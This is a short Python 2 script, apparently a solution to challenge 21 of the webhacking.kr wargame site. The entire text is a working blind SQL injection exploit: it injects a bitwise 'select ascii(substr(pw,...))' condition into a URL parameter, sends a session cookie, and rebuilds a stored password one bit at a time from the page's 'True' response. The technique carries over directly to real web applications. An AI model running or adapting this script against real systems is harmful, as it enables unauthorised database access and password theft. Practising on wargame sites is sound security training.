webhacking.kr_21

import urllib2
l = []
session = ""
print "pw2 -> ",
for x in range(19):
    for y in range(7, -1, -1):
        url="http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=2%20and%20(((select%20ascii(substr(pw,"+str(x+1)+",1)))>>"+str(y)+")%261)=1"
        req = urllib2.Request(url)
        req.add_header("Cookie", "PHPSESSID="+session)
        if urllib2.urlopen(req).read().find("True") == 231: l.append(str(1))
        else: l.append(str(0))
    print chr(int((''.join(l)),2)),
    l=[]